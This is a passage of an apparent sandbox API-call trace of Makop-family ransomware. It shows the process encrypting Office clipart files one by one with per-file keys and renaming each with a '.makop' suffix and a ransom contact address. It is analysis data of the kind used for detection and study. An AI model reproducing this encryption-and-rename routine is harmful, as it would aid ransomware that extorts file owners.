[0113.339] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0113.339] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.339] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.339] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.339] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.340] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2afa, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2afa, lpOverlapped=0x0) returned 1 [0113.341] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2b00, dwBufLen=0x2b00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2b00) returned 1 [0113.341] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.341] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2b00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2b00, lpOverlapped=0x0) returned 1 [0113.341] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.341] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2bd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.341] SetEndOfFile (hFile=0xf0) returned 1 [0113.348] GetProcessHeap () returned 0x48a0000 [0113.348] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0113.348] GetProcessHeap () returned 0x48a0000 [0113.348] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0113.348] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0113.348] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0113.350] CloseHandle (hObject=0xf0) returned 1 [0113.350] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaacf8400, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaacf8400, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x400c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00419_.WMF", cAlternateFileName="")) returned 1 [0113.350] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0113.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0113.351] GetProcessHeap () returned 0x48a0000 [0113.351] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0113.351] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0113.351] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0113.351] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.355] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.355] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.356] GetProcessHeap () returned 0x48a0000 [0113.356] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0113.356] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0113.356] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.356] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0113.356] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.356] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0113.356] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0113.356] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0113.357] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.357] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.357] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.357] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.357] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x400c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x400c, lpOverlapped=0x0) returned 1 [0113.359] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4010, dwBufLen=0x4010 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4010) returned 1 [0113.359] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.359] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4010, lpOverlapped=0x0) returned 1 [0113.359] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.359] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x40e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.360] SetEndOfFile (hFile=0xf0) returned 1 [0113.366] GetProcessHeap () returned 0x48a0000 [0113.366] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0113.366] GetProcessHeap () returned 0x48a0000 [0113.367] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0113.367] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0113.367] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0113.368] CloseHandle (hObject=0xf0) returned 1 [0113.369] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa86d2a00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa86d2a00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x12bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00428_.WMF", cAlternateFileName="")) returned 1 [0113.369] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0113.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0113.370] GetProcessHeap () returned 0x48a0000 [0113.370] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0113.370] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0113.370] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0113.370] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.374] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.374] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.374] GetProcessHeap () returned 0x48a0000 [0113.374] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0113.374] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0113.374] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.374] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0113.374] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.375] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0113.375] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0113.375] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0113.375] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.375] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.376] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.376] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.376] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x12bc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x12bc, lpOverlapped=0x0) returned 1 [0113.387] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x12c0, dwBufLen=0x12c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x12c0) returned 1 [0113.387] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.388] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x12c0, lpOverlapped=0x0) returned 1 [0113.388] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.388] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.388] SetEndOfFile (hFile=0xf0) returned 1 [0113.395] GetProcessHeap () returned 0x48a0000 [0113.395] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0113.395] GetProcessHeap () returned 0x48a0000 [0113.395] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0113.396] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0113.396] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0113.397] CloseHandle (hObject=0xf0) returned 1 [0113.397] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa73bfd00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa73bfd00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00435_.WMF", cAlternateFileName="")) returned 1 [0113.397] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0113.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0113.399] GetProcessHeap () returned 0x48a0000 [0113.399] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0113.399] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0113.399] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0113.399] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.404] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.404] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.404] GetProcessHeap () returned 0x48a0000 [0113.404] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0113.404] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0113.404] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.404] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0113.404] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.404] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0113.404] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0113.405] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0113.405] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.405] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.405] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.405] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.405] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x83c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x83c, lpOverlapped=0x0) returned 1 [0113.405] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x840, dwBufLen=0x840 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x840) returned 1 [0113.405] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.405] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x840, lpOverlapped=0x0) returned 1 [0113.406] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.406] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x914, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.406] SetEndOfFile (hFile=0xf0) returned 1 [0113.412] GetProcessHeap () returned 0x48a0000 [0113.412] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0113.412] GetProcessHeap () returned 0x48a0000 [0113.412] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0113.412] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0113.412] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0113.414] CloseHandle (hObject=0xf0) returned 1 [0113.414] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60ad000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa60ad000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x13ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00438_.WMF", cAlternateFileName="")) returned 1 [0113.414] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0113.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0113.414] GetProcessHeap () returned 0x48a0000 [0113.415] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0113.415] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0113.415] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0113.415] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0113.419] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.419] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.419] GetProcessHeap () returned 0x48a0000 [0113.419] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0113.419] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0113.419] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.420] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0113.420] 